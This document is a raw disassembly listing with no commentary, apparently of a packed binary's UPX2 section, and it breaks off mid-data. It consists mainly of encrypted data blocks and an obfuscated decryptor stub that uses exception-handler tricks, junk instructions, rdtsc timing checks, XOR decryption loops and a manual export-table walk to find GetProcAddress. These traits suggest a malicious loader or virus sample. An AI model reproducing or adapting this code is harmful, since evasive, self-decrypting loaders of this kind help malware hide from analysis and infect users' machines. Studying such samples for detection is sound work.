8CD3C89Fh, 0D89778D9h, 872D8E44h, 5BB7D691h dd 0B48B2C62h, 9C48A37Dh, 62CDEC13h, 9C4D122Ch, 8E7E083Fh dd 835D2A3Dh, 8A6D9094h, 0B748FFEh, 0CF44E1F3h, 0F79EA01Eh dd 6D0ADD34h, 4C275049h, 1ECE48EFh, 5D2C573h, 4166380Bh dd 0D1FDD8BBh, 16FAD7B8h, 0F457DF23h, 0EBC1E571h, 183C30B9h dd 0E795F764h, 3B8660Ch, 653D9EDEh, 68B97BCAh, 13C2F8CEh dd 0DF9A175Fh, 0A1EED823h dd 305838ADh, 0DBAA37B0h, 434A2E0Dh, 4BFEDE84h, 3D77D604h dd 2FBD230Ch, 8C4A04B8h, 1D56B3D3h, 9C36C21h, 84DAB17Bh dd 7C608096h, 0F101405Fh, 6C9C4945h, 62226857h, 0D94F4C99h dd 545E6107h, 4DE45019h, 869242DAh, 0D4EFBFB8h, 0CB59C590h dd 15B8B586h, 24D22817h, 161C249Dh, 0EB03B4DBh, 0F1F5F836h dd 81DDF7A0h, 0FCD03971h, 0F456F88Fh, 7A04E755h, 5C7D174Ah dd 14E62064h, 14A66048h, 74EFD40Dh, 0A331307Ah, 410F280Eh dd 31F147C4h, 0AC8C8955h, 0A432A86Fh, 2148D288h, 944EA111h dd 649DE429h, 7B7575DAh, 5538A9EDh, 0A137222h, 0AC4C60B8h dd 0C1E86BF3h, 5C6859D3h, 0A945B0E8h, 0FD14AF26h, 0C6BFC2C5h dd 96D0503Ch, 0CB9B0473h, 0A94A3FCEh, 248211B9h, 18E824D0h dd 1C5ED9B3h, 0A7329D39h, 534009AFh, 37D205Dh, 0D02AD1B4h dd 174E4887h, 60C71F2Eh, 0CCD8F034h, 0A06ED8A3h, 664D603Eh dd 3EEF70A9h, 17562167h, 4B3A4413h, 6B4006Eh, 2D596814h dd 8CCA2800h, 109B6F53h, 0ACB480D0h, 0F14A887Fh, 0A208D702h dd 2E898757h, 34BCBFCAh, 0E1A8A2FCh, 5C285911h, 0FE32128Ah dd 0B3989871h, 0C5422ED0h, 0B815B705h, 74262862h, 58BC30F1h dd 0C96A884h, 25948517h, 0BF1818A3h, 4E98ADC0h, 0F30108CFh dd 0EC7984F0h, 0F4D6F80Bh, 5C6585E1h, 9887EA67h, 7698F0F4h dd 0EDAA5D94h, 0CC44D0E9h, 0CF2FC88Fh, 39FA7895h, 0B49681C6h dd 0CA215BFBh, 53AA995Fh, 8C7124F8h, 94DF9813h, 3C76E4A9h dd 0F9AF8216h, 0BCA090ECh, 0D13C7B8Fh, 6CDC497Ch, 0DC04C3F1h dd 0D90F90ACh, 549E6147h, 4C245259h, 8C0E4A9Ah, 52DE58Fh dd 9F80380Bh, 6ED48D38h, 0B4AA2857h, 0B7A820F4h, 2DBA9D84h dd 0CDC1019h, 751E089Fh, 3FC20DDh, 70130F34h, 0EC2CE058h dd 91C2E8F3h, 0D6E05086h, 0C4D7A6A6h, 816F7AB9h, 0FD9E4DB8h dd 0B4B0C0F5h, 0A533B87Bh, 4C5F0877h, 9D0C0DADh, 376EA02Dh dd 7F3458E0h, 0A58CF67Ch, 0FA6F82E7h, 0BC6090ACh, 0D1FC7BCFh dd 6C9C49BFh, 0E1D5C331h, 5CA85969h, 544E4883h, 8C65E87Fh dd 80FA4BDBh, 42B54A4Dh, 52A628E2h, 0A98A3FDAh, 24C21185h dd 0E7C7C836h, 9109E7CCh, 0C84294Dh, 442A085Fh, 0AC700E81h dd 0CD2A7D89h, 446F031h, 1B7D1322h, 55E6AFC0h, 0C4EC486Eh dd 48C12779h, 0C4DAD836h, 0C8F0C0A5h, 1EEE0837h, 1821397Ah dd 4F32B825h, 672948F8h, 0FEB6676Ch, 7B0B6FD2h, 94B30C3Ah dd 7D208055h, 0C4BD0DEBh, 10C97AC1h, 0CEE2782Eh, 0E41E6F46h dd 0F10498C0h, 4CB469A5h, 458AE309h, 0B855B7AFh, 346628A2h dd 59FC3231h, 0A017DFE8h, 1C283064h, 61BE1CF3h, 694A093h dd 14D3769Ah, 7F258AB5h, 3516E872h, 54CAE001h, 54E96911h dd 6CD00B0Dh, 0AAEBD2E3h, 6604C000h, 0FD1E4D38h, 0BC30C075h dd 0A4B3B8F3h, 44DF08F7h, 9D8F0D2Dh, 37EEA0ADh, 9CF599E3h dd 9BED859h, 845AB102h, 863F68BFh, 0F1818754h, 6C1C49C5h dd 64B268D7h, 794D15DCh, 0AC4DE065h, 7519F593h, 0EF9C483Fh dd 153A80F6h, 2464A8E6h, 0A839C7F1h, 245238BEh, 69E8001Dh dd 0FF09A9ACh, 5AC7652h, 790F02C7h, 3C40104Ch, 51DCFBEFh dd 0EC7CC9DCh, 592B4351h, 0DC88A25Dh, 71A419E9h, 0CCD49269h dd 9CEA63E9h, 858C4527h, 5C2CB8ABh, 53E34A28h, 9D362D10h dd 9C4BA06Dh, 0B8AA9913h, 0B5F0155Eh, 840A882Fh, 5CD584D5h dd 4DB2FD9Ch, 6CCC7011h, 6E176B97h, 0A301BEC5h, 0AEC5B03Ch dd 4CCCAFA6h, 0AC45B715h, 0C3AFBAC4h, 0D62BDECh, 2C7C30A1h dd 2C662047h, 0F402E96Dh, 0EBC1E25Eh, 355095FEh, 46A088Fh dd 0D6741035h, 71BCFF7Bh, 0EC3CC91Dh, 0E9D80836h, 0DC7CE804h dd 0ED927D21h, 2844D0A9h, 0C0DE484Ch, 454F284Eh, 0D5F64784h dd 552B58BBh, 1C145758h, 390240C2h, 948EA1AFh, 6ADC3B0Fh dd 73357706h, 6C590410h, 74F6582Bh, 0E7C804C1h, 0ECAFE390h dd 77B870AFh, 0A80FD142h, 0C9EE08A9h, 446A71D3h, 0C5AFA8EFh dd 0B151C724h, 2C2C09F5h, 24922807h, 0A40E2CE9h, 91F4DB63h dd 0C8429B5h, 0BC4C02B4h, 59CAE00Ah, 0F446C1F7h, 7A045B47h dd 137D174Eh, 0CC2164C8h, 0D4AEDBE3h, 471BA478h, 645F43C0h dd 9770D0E7h, 484E31F3h, 296B79E2h, 0A42291E3h, 9C48A0FDh dd 11D396E6h, 8CE4A955h, 4CA8035h, 845383ACh, 307B7C66h dd 0AD4C60A5h, 0EF5260F7h, 3A7E8306h, 32CE69FBh, 0C31C3672h dd 448220EFh, 0DDD24005h, 9F3E93FDh, 2A89F9B4h, 0E4A390A1h dd 0DF988B3Bh, 0ED95F059h, 89A3EF76h, 4FA319Bh, 7C8000B5h dd 3B9DE23Fh, 0AE18756Ah, 2C69E867h, 3424A884h, 2B9121DCh dd 24AE1389h, 3B6531CAh, 85A045E8h, 3131B8EBh, 0AC4C8915h dd 84F2A827h, 0B7DFA6C8h, 8DF5C0ABh, 0A79CC362h, 0F9AA387h dd 6CA22898h, 0FCE379ABh, 6D0C6003h, 40E6E3EEh, 3485E969h dd 0DFCE4813h, 5C26DC24h, 0CC7F632Fh, 0CB905087h, 241FBCDEh dd 2CBC70F1h, 0D3505C87h, 182A8BC5h, 97294EB3h, 1C56D4F4h dd 80A508DFh, 0FC4001ACh, 0F4D6F5E3h, 0BE29BBA1h, 0D74EAD79h dd 90DCCEFFh, 41D1D82Fh, 0CCD4EE8Bh, 86824D06h, 37A3C035h dd 6C8584E3h, 2734C3AEh, 0BD5A9CA4h, 17B75F88h, 849C2086h dd 0CE77CBA9h, 588F0133h, 7FA09097h, 0F1BF7029h, 6CDC32E1h dd 9B4A1B1Ch, 5CF8E09Eh, 0A07CB0C3h, 0F1AFAFA6h, 44AA0A57h dd 0C8B6A8D3h, 0A16DC7E4h, 2C6C7209h, 271A62CCh, 0D2832C97h dd 1B3BF1F0h, 0CD57081h, 5EEE079Fh, 0FF000034h, 0E4D4447Eh dd 9499F361h, 48C2F8B5h, 595708B1h, 0D4EED881h, 0E7809634h dd 0D458B0CAh, 0ECB6C3E5h, 4BB21B93h, 146133EEh, 0A472B8E5h dd 0DB33AB48h, 8F1D97DFh, 67349068h, 3C5FB1F3h, 736090D7h dd 74F775AEh, 140973C1h, 2227815h, 7947586Ch, 54B2DD8Ch dd 0C6F5019h, 703963ADh, 0C876A815h, 899FC724h, 2C2C72C9h dd 2436AD08h, 996B209Dh, 14EE5A8Fh, 4EEC95CAh, 4A1084Fh dd 0F3CC47DEh, 0F4563509h, 0E4ABCB21h, 0E4466BB8h, 1C9BE04Dh dd 0C0E9DBE1h, 8E3C557Ah, 9488C81Fh, 0FEA8755Ah, 21F9B82Bh dd 0AC8C8EE3h, 0ABF22D3Dh, 9CC81778h, 94C27193h, 73C89029h dd 841E0DB0h, 42A08055h, 0FF3377FEh, 0E74C7081h, 27C96951h dd 0A9903099h, 6DF1A7B0h, 5CE6E864h, 474D3D6Fh, 2C92FC80h dd 4CE33B9Bh, 0A5FC2073h, 34D0CC42h, 2728AB5Dh, 4FCC476h dd 375C6289h, 14A8E89Ah, 0C1E972B5h, 8416F84Bh, 0F344C793h dd 6942E877h, 1D531C43h, 966DDA88h, 2881EB29h, 0B19AD88Dh dd 0ACF44369h, 0F0498904h, 473DACB5h, 217D6B3Ch, 9C98E225h dd 0ECAB1333h, 64B480ABh, 7BB57CECh, 7CE02974h, 7A03F8ABh dd 1E00376Ah, 6CE553DEh, 0A304E262h, 5B87A7FCh, 0B39AE21Ch dd 60C6C3D0h, 1514E744h, 0CBD9385Bh, 6E57DF0Eh, 44766206h dd 5208201Dh, 18F5D880h, 0C891976Dh, 8DAA189Dh, 0EC02C0F0h dd 7C6F750Bh, 0EF6CF088h, 0F44090B2h, 793D86CDh, 0D7E8F32Dh dd 8EEFC4BBh, 3F1C0E83h, 0EF7107CDh, 0B186B8BBh, 251CB051h dd 0FAED54A1h, 9B7F7BEh, 94CEA66Dh, 836B7868h, 840B92BAh dd 16F4D0D5h, 8BC91243h, 7CF2AE94h, 3BA2ED97h, 5DFDE822h dd 0D86658C3h, 0A4DBAFBDh, 44BA48FEh, 7A2425D6h, 67835472h dd 5E0953D4h, 656B5C2Eh, 501DDFDDh, 0EB3E0831h, 1CEA229Ch dd 50EF819Fh, 14001077h, 0F496F8D2h, 8D789532h, 938D8D9Ch dd 0AF2A85E3h, 849EB14Bh dd 0A5F2B9CBh, 0A17DAD23h, 0E15897E5h, 5CB94793h, 0ACDCB002h dd 0C120CDF4h, 0EE67D44Eh, 0FDECC8B6h, 0E958F91Fh, 0D3CAED98h dd 8388BF7Dh, 74E490D4h, 9DF70C1h, 0F410915h, 2EE81098h dd 38272EEAh, 4C81377Ch, 0AC58A0F8h, 24F8BFBAh, 67A638DBh dd 4D547314h, 6AB74F69h, 7A0154F2h, 7D8C484Ah, 69F879BFh dd 532A6D38h, 327FF1Dh, 7902A874h, 0FCD160A4h, 0B4E682B7h dd 234FE127h, 0C4903276h, 0E8785979h, 0FAFC5DF0h, 7C5AC0B5h dd 0F54E05B6h, 0FCCCB0C1h, 34875737h, 0F4C8B0C0h, 945A9892h dd 0DBF5FA7Dh, 0C6DE1D40h, 16748045h, 0E1492FEFh, 6C5C32D5h dd 9BF6AC94h, 4C3A2C18h, 369BA743h, 13A440E7h, 0C8FC5ACh dd 6AD05044h, 0A00AD64h, 0D47F3021h, 9F162738h, 9528205Dh dd 4FC4076h, 5A547A89h, 3A489DE0h, 3C0500A5h, 0F4B27C44h dd 2C87F0E1h, 0E728B827h, 0B4D98A5Dh, 146ED8A3h, 8E912F6Fh dd 479AD8F1h, 383F3F9Dh, 0B4C6BEFCh, 0EE003518h, 297FA837h dd 9C98E2DDh, 0D6760DDEh, 0DEE590F9h, 7B1A8815h, 6CDEEE80h dd 8B8EFBABh, 69D9F44Eh, 64C868D7h, 1E64D592h, 0C1315813h dd 4C746EF3h, 4B05B0ACh, 3C95FE41h, 44A3B15Bh, 1FBC20B3h dd 75912B4Eh, 1882714Dh, 48CBE7E2h, 0F314000Bh, 14944E4Ah dd 0F3808575h, 0F4D3628Fh, 65A5C3A1h, 0F4409CB2h, 8DC9B1CDh dd 0DB2EC70Bh, 593B80F9h, 0C44AF601h, 38FF00A0h, 0B486BDE8h dd 0EE6435D8h, 1C71A8F7h, 9C48D296h, 63E6D398h, 9C4D142Ch dd 840A883Fh, 7FA6F5F5h, 642610EEh, 6F1E4301h, 93939F56h dd 0D87DE9CCh, 0EC8E4881h, 4C2479D6h, 47860364h, 2C402800h dd 37340B1Bh, 0DB8DC770h, 5897A1A6h, 0DFA8309Fh, 1275AF7Ch dd 81E1F3F0h, 0B36510CCh, 2C031476h, 0DC579382h, 0D6AD2062h dd 8AAB9FA8h, 5F459474h, 0A6EFD459h, 0F0CF5B59h, 0C70E8AC4h dd 0F83DD0A7h, 6DB14733h, 29E77132h, 0A462EAD7h, 0B85C2BFEh dd 1B5EABC3h, 8C3428EBh, 4B414BFFh, 0C1ED8B7Eh, 74E63963h dd 5F53FB3Dh, 51EC49Eh, 2684669Fh, 74625AF4h, 38B86CB3h dd 30547443h, 49107C98h, 0BF6FDB33h, 74790D70h, 2FA62842h dd 4E2B73A0h, 277B1733h, 876BEF36h, 4D7D355Ch, 78CF43BBh dd 0BA907ADh, 0B9AFA71Ch, 0FF06E7F9h, 0E1E71FB2h, 0E69D9BB4h dd 33545476h, 94E737F0h, 0B33F94F6h, 4BF9BDBFh, 4447832Eh dd 5BCD564Ah, 6620B088h, 7CA1676Fh, 730B6E08h, 7A660CB0h dd 0AE137FAAh, 74B66E03h, 932F9881h, 640A97E8h, 17860ADh dd 601DB5C2h, 0B64D50C9h, 203A486Ch, 895B72FAh, 34767AE3h dd 4ADEB955h, 7EDF1646h, 1FCBA552h, 4A3518F3h, 6A8A13B5h dd 41BA339Eh, 0FF5385BAh, 0B7E1F84Bh, 0EC8CF0F7h, 22C7E777h dd 2AD8E00Eh, 0DB6C84E0h, 0CC076CBDh, 0CCD943CFh, 1C906058h dd 1A42B75Bh, 915CB092h, 84D28807h, 9F2B24B2h, 1F959853h dd 8CB49021h, 6C1B9E9Ch, 831F6F9Dh, 36CAF5A8h, 0A20F7051h dd 64E20954h, 5C7C01EEh, 0AB30C3EBh, 36E65F66h, 0C7FA482Ch dd 2CD28060h, 76AD385Bh, 3CF6BBF9h, 2021E9ACh, 1903E02Eh dd 5EF7D0B0h, 8C919959h, 7AA189Dh, 0FCF80C3Fh, 0A5D6F90Bh dd 138A4E49h, 6697D8C8h, 6D98F0F4h, 579BE843h, 0A6C4C0C0h dd 9C9336AFh, 1818D45Dh, 3179475Dh, 6E88BF83h, 31834A34h dd 9C5899F9h, 11297DF8h, 8C64A92Dh, 850A883Fh, 0F957A2A1h dd 742641EFh, 6CCC7002h, 0C1E364E2h, 5CE859A9h, 0AF71A73Ch dd 0C1A55AB2h, 44AA716Bh, 34504085h, 34E63E73h, 2A1469B1h dd 7C122847h, 0E34E7635h, 68BB928Ch, 8AD40030h, 3D16221Bh dd 79880025h, 0F486C1B7h, 69DB1083h, 0E4D2D173h, 0DC58E085h dd 696ED156h, 0CC94E9C7h, 33DFBC4Eh, 0AC894460h, 0B446B87Bh dd 2CC7C419h, 0B44BD41Ah, 2C7CA53Dh, 0ADE32553h, 0F8319079h dd 0FA770858h, 796090ACh, 0F101E65Fh, 6C9C4945h, 74226857h dd 0E1386999h, 545E61FFh, 0CF6D271Bh, 54388C0Ah, 9AF84045h dd 0DC59C729h, 0D3C3CD32h, 24D059EFh, 60F5AB9Dh, 17FE0871h dd 1CD69054h, 0F871E05Fh, 78CFFF0Ah, 0F456FADAh, 0AE9445AAh dd 0BA09E8A7h, 34C6E371h, 2B5125BFh, 0CE7F5276h, 8E5BC80Fh dd 0BC70A081h, 0E6F833DBh, 0B8E6B387h, 5322D264h, 8CF12478h dd 945E9893h, 5E0E509h, 94C84002h, 0EC950D55h, 0FFB668D2h dd 7C5C180Ch, 33469B17h, 5C720414h, 54BBD543h, 0BFA440C9h dd 0A73AF9CAh, 0CB74B307h, 245FBC1Eh, 2CFC3031h, 8A1627E7h dd 0E328205Dh, 0C5563080h, 87ABEF64h, 14A8B08Ah, 0F35285B5h dd 0F41660CFh, 94197BE1h, 6F42F835h, 9659F047h, 0D46EB887h dd 0C44EFBD9h, 0DA9CABCh, 8724B266h, 0A4D6D076h, 0C4D13B91h dd 0D6F2B837h, 0B8B42BEBh, 84763DD0h, 0FB490F9h, 844AE0D8h dd 66B8015h, 7C3C79A3h, 9B8B8742h, 262EED5Ch, 0D9CF607Dh dd 54DE6187h, 4C6450D9h, 5C0D4A5Bh, 159C32C6h, 0F093B16Bh dd 0A7BC20B3h, 145300F4h, 256CA5EAh, 143E18A3h, 0E601049h dd 0ECFB1028h, 3BFFC5Eh, 0F7DA1352h, 9E47D8D2h, 1754B93Bh dd 51C1BF69h, 0C41748D6h, 47959F9h, 375AD8CDh, 0B3AE9F81h dd 330B2A8Ah, 0AC1CB16Eh, 9D303DDDh, 9A3DA06Dh, 0C2A64A7Ah dd 512829Dh, 0A3E2616Fh, 265F7F0Fh, 773A32E0h, 0E93B604Bh dd 64725113h, 7CF8602Dh, 218B194Eh, 88A9D94Ah, 47BA58ADh dd 2C402800h, 5C41BB1Bh, 2C7C30B1h, 0AD3A6B6Ch, 1CA8735Ah dd 54BBEF73h, 0DD40036h, 706A089Fh, 0F443C732h, 5436586Bh dd 0D5A87596h, 0E4C2E8E7h, 0DB2CF08Dh, 23B53071h, 47DE2F46h dd 0D4580CC2h, 35B523E5h, 0B9AD9030h, 0EE1C3D9Ah, 0A691A8B7h dd 0D783A3D6h, 101B6FFBh, 8F348050h, 0F0CA88FFh, 0B4E50B81h dd 77F66869h, 7CCEC04Ch, 0C8A76B57h, 5DB870AFh, 4404D38Bh dd 0E98D592h, 0E4348BFh, 0B513334Dh, 76A73091h, 745FB361h dd 0A057A307h, 746830DFh, 14FE31A3h, 559C52C8h, 8E7A4B5Eh dd 0ECF98260h, 70D30F8Bh, 0ECECE018h, 90A2E8B7h, 0B495E34Bh dd 62AEC8F3h, 48C12779h, 0C4DAD836h, 0C970C2A5h, 43C0462Fh dd 0BCA53454h, 0A032A867h, 16CED5FDh, 84671B26h, 8716729h dd 848A9886h, 9208015h, 76B1F2E0h, 0BA4EDA43h, 6D099FF5h dd 9E4A6727h, 0B6D85AE9h, 2876632Eh, 0CB5E6AE4h, 81531807h dd 34767AC7h, 93783F31h, 0DB6DD73Dh, 0C6A58E8h, 0A62BE7F3h dd 0F35400B7h, 14A87CAAh, 0DA15FFB5h, 7916E875h, 0FCEE906Ch dd 8CD76577h, 8DD8F04Fh, 2B6EB2F1h, 0DC468C8Ch, 620F37CFh dd 4330D05Bh, 0A484E44Eh, 8AC94F91h, 29F2B819h, 8CC9E808h dd 0CCAB6753h, 0DAB480ABh, 0BAE81D80h, 0D9638005h, 74663AF7h dd 6CE4B341h, 39A268D7h, 0B1B96107h, 54DE608Ch, 8D6BA0C1h dd 54EFC8AAh, 0FF50C5C5h, 0C4D9F0D8h, 0AC39F1FEh, 0E7523892h dd 36E83020h, 72626DB3h, 306CC8h, 17DF79B3h, 384E815h dd 0F1A307F4h, 13964549h, 1BD000C8h, 0F2F91F32h, 8256F59Ch dd 0E97CC2CDh, 0A45AC88Fh, 430F65CDh, 3FBFCD44h, 212C9415h dd 0B4F3E052h, 94182B7Dh, 92E41975h, 0DA51E3ABh, 7B0A8857h dd 16640BD5h, 8B662A6Bh, 7CF28294h, 6CA6EB97h, 63A45EACh dd 57FB04FCh, 0A42096DAh, 0BB45B28Dh, 0C3AF3F6Dh, 8C2559E4h dd 2C7C30C5h, 0BAA99ACh, 0F4A820DDh, 143E186Eh, 0B4D430CBh dd 46A08AFh, 0FC0010DDh, 0F4B23ACBh, 0EC2D75D9h, 0E4C100F7h dd 0F09AE08Dh, 0F0BA5523h dd 4FAA1DB5h, 0DD66C8B7h, 0BCB02885h, 0E0CDB87Bh, 27818035h dd 0C29F29BDh, 7408B004h, 6B617834h, 8C305208h, 81CD8AFCh dd 0E3C48694h, 0AE05C3C5h, 119415FFh, 0FF8B0100h ; --------------------------------------------------------------------------- cld push ebp mov ebp, esp call sub_3143C9A8 jmp short $+2 stc call sub_3143CA66 nop cmc jmp loc_3143C9F9 ; =============== S U B R O U T I N E ======================================= sub_3143C9A8 proc near ; CODE XREF: UPX2:3143C994p push dword ptr fs:0 mov ds:dword_314320C0, ebp mov ebx, ebx mov eax, eax mov fs:0, esp xor ebx, ebx push 10h push ebx push ebx push ebx push ebx push ebx push ebx push 2000h push ebx push 1000h push ebx call ds:dword_31428090 ; GetProcAddress xor edx, edx push edx push 80000000h push edx push 10h push edx push 80000000h push edx push edx call ds:dword_31428090 ; GetProcAddress loc_3143C9F9: ; CODE XREF: UPX2:3143C9A3j mov eax, eax jmp short $+2 cmc sub eax, eax loc_3143CA00: ; CODE XREF: sub_3143C9A8+5Ej dec al or al, al jz short loc_3143CA0A jnz short loc_3143CA00 jmp short near ptr loc_3143CA70+1 ; --------------------------------------------------------------------------- loc_3143CA0A: ; CODE XREF: sub_3143C9A8+5Cj cmc cld nop cmc clc call sub_3143CA16 clc cmc sub_3143C9A8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_3143CA16 proc near ; CODE XREF: sub_3143C9A8+67p pop edi cld cmc add edi, 75h mov edx, 2990h cld xchg ebx, ebx clc clc cld sub ebx, ebx add ebx, 0A6h push edi nop jmp short $+2 loc_3143CA36: ; CODE XREF: sub_3143CA16+33j call near ptr byte_3143CA77 xchg ebx, ebx add edi, 1 dec edx cmc cld stc stc cmc cmp edx, 0 ja short loc_3143CA36 pop edi stc jmp short $+2 mov ebp, 0DDA976AEh mov ebx, [ebp-8] mov fs:0, ebx xchg ebx, ebx leave cld cld jmp edi sub_3143CA16 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 89h, 0DBh ; =============== S U B R O U T I N E ======================================= sub_3143CA66 proc near ; CODE XREF: UPX2:3143C99Cp arg_C = dword ptr 10h mov eax, [esp+arg_C] pop dword ptr [eax+0B8h] loc_3143CA70: ; CODE XREF: sub_3143C9A8+60j xor eax, eax retn sub_3143CA66 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 89h, 0C0h db 87h, 0DBh byte_3143CA77 db 0 ; CODE XREF: sub_3143CA16:loc_3143CA36p dd 215h dup(0) dd offset loc_3143A000 dd 134Ch dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near cld push ebp mov ebp, esp call sub_3144201F stc xchg ebx, ebx clc call sub_314420D4 xchg ebx, ebx mov ebp, 12FFC0h ; DATA XREF: sub_3144201F+Cw clc jmp loc_31442089 start endp ; =============== S U B R O U T I N E ======================================= sub_3144201F proc near ; CODE XREF: start+4p push dword ptr fs:0 mov fs:0, esp mov dword ptr ds:loc_31442014+1, ebp xor ebx, ebx push 80000000h push ebx push 80000000h push ebx push ebx push ebx push 200h push ebx push 1000h push ebx push 80000000h call ds:dword_31428090 ; GetProcAddress xor ecx, ecx push 80000000h push 80000000h push 80000000h push ecx push 80000000h push ecx push 2000h push ecx push ecx push 80000000h push ecx push 2000h push ecx call ds:dword_31428090 ; GetProcAddress loc_31442089: ; CODE XREF: start+1Aj cld cmc mov edx, [ebp-8] mov fs:0, edx mov ebx, ebx call sub_314420CE add ecx, 52h mov edi, 2990h nop jmp short $+2 jmp short $+2 sub edx, edx or edx, 56h stc stc push ecx stc loc_314420B7: ; CODE XREF: sub_3144201F+A7j call sub_314420E2 nop stc inc ecx inc edx sub edi, 1 cmp edi, 0 ja short loc_314420B7 pop ecx cmc leave jmp ecx sub_3144201F endp ; --------------------------------------------------------------------------- cld ; =============== S U B R O U T I N E ======================================= sub_314420CE proc near ; CODE XREF: sub_3144201F+77p pop ecx push ecx retn sub_314420CE endp ; --------------------------------------------------------------------------- jmp short $+2 stc ; =============== S U B R O U T I N E ======================================= sub_314420D4 proc near ; CODE XREF: start+Dp arg_C = dword ptr 10h mov eax, [esp+arg_C] pop dword ptr [eax+0B8h] xor eax, eax retn sub_314420D4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- cld ; =============== S U B R O U T I N E ======================================= sub_314420E2 proc near ; CODE XREF: sub_3144201F:loc_314420B7p xchg al, [ecx] cld sub ax, dx mov [ecx], al retn sub_314420E2 endp ; --------------------------------------------------------------------------- stc nop call $+5 mov eax, [esp] cld mov [eax+32C7h], ebx mov ecx, [eax+297Fh] mov ebx, [esp+4] and ecx, 10000000h jz short loc_31442139 pop ecx mov [eax+32CBh], esi mov cl, [eax+2983h] mov [eax+32CFh], edi cmp cl, 0E8h jz short loc_3144212E mov ebx, [eax+2985h] jmp short loc_31442137 ; --------------------------------------------------------------------------- loc_3144212E: ; CODE XREF: UPX2:31442124j add ebx, [eax+2984h] mov ebx, [ebx+2] loc_31442137: ; CODE XREF: UPX2:3144212Cj mov ebx, [ebx] loc_31442139: ; CODE XREF: UPX2:3144210Cj push ebp mov ebp, eax sub dword ptr [esp+4], 100F2h sub ebp, 101005h mov edi, [esp+4] lea esi, [ebp+103990h] mov ecx, 0 rep movsb call sub_31442212 mov ecx, eax call sub_31442212 sub eax, ecx jz short loc_314421E4 cmp eax, 100h ja short loc_314421E4 and ebx, 0FFFFF000h loc_31442178: ; CODE XREF: UPX2:31442187j cmp dword ptr [ebx+4Eh], 73696854h jz short loc_31442189 loc_31442181: ; CODE XREF: UPX2:31442196j sub ebx, 100h jnz short loc_31442178 loc_31442189: ; CODE XREF: UPX2:3144217Fj mov eax, ebx add eax, [ebx+3Ch] mov edx, [eax+78h] cmp word ptr [eax], 4550h jnz short loc_31442181 add edx, ebx mov esi, [edx+20h] mov ecx, [edx+18h] add esi, ebx push ecx loc_314421A3: ; CODE XREF: UPX2:loc_314421B7j lodsd add eax, ebx cmp word ptr [eax+2], 5074h jnz short loc_314421B7 cmp dword ptr [eax+5], 6441636Fh jz short loc_314421BC loc_314421B7: ; CODE XREF: UPX2:314421ACj loop loc_314421A3 pop ecx jmp short loc_314421E4 ; --------------------------------------------------------------------------- loc_314421BC: ; CODE XREF: UPX2:314421B5j sub [esp], ecx mov esi, [edx+24h] pop ecx add esi, ebx movzx eax, word ptr [esi+ecx*2] mov edi, [edx+1Ch] add edi, ebx mov esi, [edi+eax*4] add esi, ebx lea eax, [ebp+10113Fh] mov dx, [eax-17h] call sub_31442217 jmp short loc_3144222C ; --------------------------------------------------------------------------- loc_314421E4: ; CODE XREF: UPX2:31442169j ; UPX2:31442170j ... mov eax, [ebp+103984h] and eax, 10000000h jz short loc_31442210 mov edi, [esp+4] lea esi, [ebp+103988h] lodsd mov ebx, [ebp+1042CCh] stosd movsb mov edi, [ebp+1042D4h] mov esi, [ebp+1042D0h] loc_31442210: ; CODE XREF: UPX2:314421EFj pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_31442212 proc near ; CODE XREF: UPX2:3144215Bp ; UPX2:31442162p rdtsc retn sub_31442212 endp ; --------------------------------------------------------------------------- pop eax cdq ; =============== S U B R O U T I N E ======================================= sub_31442217 proc near ; CODE XREF: UPX2:314421DDp push ebx mov ecx, 2845h mov ebx, edx loc_3144221F: ; CODE XREF: sub_31442217+11j xor [eax], dl sub dl, bl xchg bl, bh inc eax xchg dl, dh loop loc_3144221F pop ebx retn sub_31442217 endp ; --------------------------------------------------------------------------- loc_3144222C: ; CODE XREF: UPX2:314421E2j mov al, 95h ; --------------------------------------------------------------------------- dw 0 dd 0A13C24A8h, 0FDE8508Bh, 0F9C6726h, 0EEBF8298h, 38B61A61h dd 0D9086D28h, 0E1303B88h, 4E16CAAh, 5BA6924Dh, 0C61D116h dd 53A68C9Bh, 0B8FE6B9Dh, 761DE768h, 2127DDB8h, 61D1E77Ch dd 92723C2Ch, 0FD5035C7h, 0F929C307h, 4AE0DD66h, 18437270h dd 0E950FAE8h, 4B1F16BCh, 17CF4B77h, 5090D7F6h, 9BDF77ADh dd 0EC2086F9h, 0AF47EE48h, 0FDC12108h, 9AA5107Ch, 0DA60ADFAh dd 0E2A5BC85h, 5085D658h, 655037BDh, 0CC0576FFh, 2AF0D35Dh dd 0EDC0341Bh, 45905FF8h, 84F5A99Dh, 0C7B3FB88h, 3090DC50h dd 7B16C028h, 0CC3077A4h, 0A8C5BAC9h, 0E5C01126h, 260533DDh dd 89A9AEB8h, 0C28E55B5h, 48208858h, 6E500425h, 42352AA7h dd 0CBF0B376h, 5C4F6E70h, 0A6903F3Ch, 1EF44AB3h, 2AF3D8C8h dd 1880B9D8h, 0E0E6F2A1h, 40484568h, 107013BAh, 0FE551E18h dd 9310BF56h, 0AE47278h, 25B04B0Ah, 9000ACD5h, 0A1DBE7B8h dd 1CAC0E41h, 0EA1D0248h, 35404188h, 9682437Dh, 0AB451E38h dd 2DC386Ah, 0F8EA7553h, 3389971Bh, 9C3B60EDh, 0D1DB00C8h dd 389748E4h, 0A10CC896h, 0C5605ED0h, 0A425D408h, 0E300E966h dd 0EED5E76Ch, 0FE3F11F7h, 0A0676348h, 0F0415B98h, 0E690FBE8h dd 35E0CD50h, 34A56488h, 558079E6h, 1C5438E8h, 620057Ah dd 3A1883C8h, 62C0A518h, 0DAF8AE68h, 0F46157EFh, 73B00A60h dd 76952658h, 6650B796h, 0DCA175F2h, 94C6D6B7h, 7DA81188h dd 0AF90DFE8h, 14E0AF69h, 1697BE2h, 4F8A23D2h, 6EEEBDBDh dd 8FD10E78h, 24260E4Bh, 0E7C08108h, 0B6127BECh, 8466F5B8h dd 6FEEB08h, 204CF51Ch, 0D0221257h, 92D55E8h, 8AE0349Eh dd 0E5CD38ABh, 26808156h, 1C738389h, 0C23059FDh, 0AE72945Bh dd 51D0F738h, 2C22C5FCh, 38F518C8h, 37C07126h, 139F2E18h dd 6470C563h, 0C6A4E83h, 70FF9948h, 0E6D5E8A9h, 17A025C1h dd 7ACEC5CDh, 39302E98h, 3FBF1A67h, 